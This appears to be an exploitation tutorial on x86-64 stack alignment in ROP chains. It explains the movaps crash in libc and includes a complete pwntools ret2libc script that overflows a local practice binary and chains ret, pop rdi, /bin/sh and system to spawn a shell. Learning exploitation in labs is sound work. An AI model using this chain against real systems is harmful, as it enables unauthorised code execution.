X64 ROP Stack Alignment: When to Insert a ret Gadget

Overview

On x86-64 (System V AMD64), many libc functions (e.g., system) use SIMD instructions like movaps that require the stack to be 16-byte aligned. ROP chains often transfer control via ret instead of a proper call, which can leave the stack misaligned by 8 bytes and cause a crash inside libc.

Fix: insert a single ret gadget before your first argument-setup gadget (e.g., pop rdi ; ret) to flip the stack parity.

Why Misalignment Happens

  • In real calls, the caller ensures the stack is aligned so the callee can safely use aligned instructions.
  • In ROP, you “call” targets with ret, not call. The usual call/entry alignment is missing, so %rsp is frequently off by 8 bytes at the target.
  • When the callee executes movaps [rsp+...], xmm0 (or similar), it segfaults if %rsp isn’t 16-byte aligned.

Typical symptom in GDB/pwndbg:

... movaps xmmword ptr [rsp + 0x50], xmm0
<[address] not aligned to 16 bytes>

Rule of Thumb

  • Default to adding one ret before your first argument gadget for quick, stable x64 ret2libc chains:

    payload = flat(
        padding,           # to saved RIP (e.g., 72 bytes)
        ret,               # 16-byte alignment fix
        pop_rdi,           # set RDI
        binsh,
        system,
        # optional: libc.sym['exit']
    )
  • You do not always need it. If you confirm the stack is already properly aligned, you can omit it.


When to Add the Extra ret

Add it when:

  • Returning directly into libc (e.g., system, execve, printf) and you haven’t verified alignment.
  • You see a crash inside libc with movaps/SIMD instructions or an explicit “not aligned to 16 bytes” diagnostic.

Usually unnecessary when:

  • Your chain eventually reaches the target via a real call (rare in pure ROP).
  • Your gadget sequence or the callee’s prologue already results in correct alignment (verified).

How to Verify Alignment (GDB)

  1. Break at the target (e.g., b *system).
  2. Run the payload.
  3. Check alignment:
p/x $rsp
p $rsp % 16
  • If % 16 == 0 at the point where the callee uses aligned stores (or immediately in the callee), you’re aligned.
  • If % 16 == 8, insert a single ret before pop rdi ; ret.

Minimal ret2libc Pattern (x64)

from pwn import *
 
exe = './secureserver'                          # vulnerable binary
context.log_level='debug'                       # logging
elf = context.binary = ELF(exe, checksec=False) # load vulnerable binary
 
# display binary information
info("Loaded binary: %s", exe)
info("Arch: %s, OS: %s, Bits: %d", context.arch, context.os, context.bits)
 
# run process
p = process(exe)
 
# set payload components
padding  = asm('nop')*72                        # offset
# rop chain
rop = ROP(elf)
ret = rop.find_gadget(['ret']).address          # 1 byte stack realigner
pop_rdi = rop.find_gadget(['pop rdi']).address  # pop rdi instruction
# libc functions
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')   # load libc
libc.address = 0x00007ffff7da8000               # from ldd ./secureserver
system = libc.symbols.system                    # system function address
binsh = next(libc.search(b'/bin/sh\x00'))       # find /bin/sh address
 
# show addresses
info('pop_rdi: %#x', pop_rdi)
info('libc addr: %#x', libc.address)
info('system addr: %#x', system)
info('binsh addr: %#x', binsh)
 
# pack payload
payload = flat(
    padding,    # overflow with nops
    ret,        # align stack
    pop_rdi,    # pop next address into rdi
    binsh,      # /bin/sh address
    system,     # call system with /bin/sh address
)
 
# write payload to file
write('payload', payload)
 
p.sendlineafter(b':', payload)
 
p.interactive()
 

Troubleshooting Checklist

  • Crash inside libc at movapsadd one ret before your first arg gadget.
  • Still crashing? Confirm:
    • Offset to saved RIP is correct (e.g., 72).
    • Gadget addresses are valid for the current binary (PIE off or base accounted for).
    • /bin/sh pointer and system are correct for the libc actually loaded.
  • For cleaner teardown, set return address from system to exit in libc.

Takeaway

  • You don’t always need the alignment ret, but it’s a safe default for x64 ret2libc.
  • If uncertain, add it; remove it only after confirming 16-byte stack alignment in the callee.

Resources


LinkDescription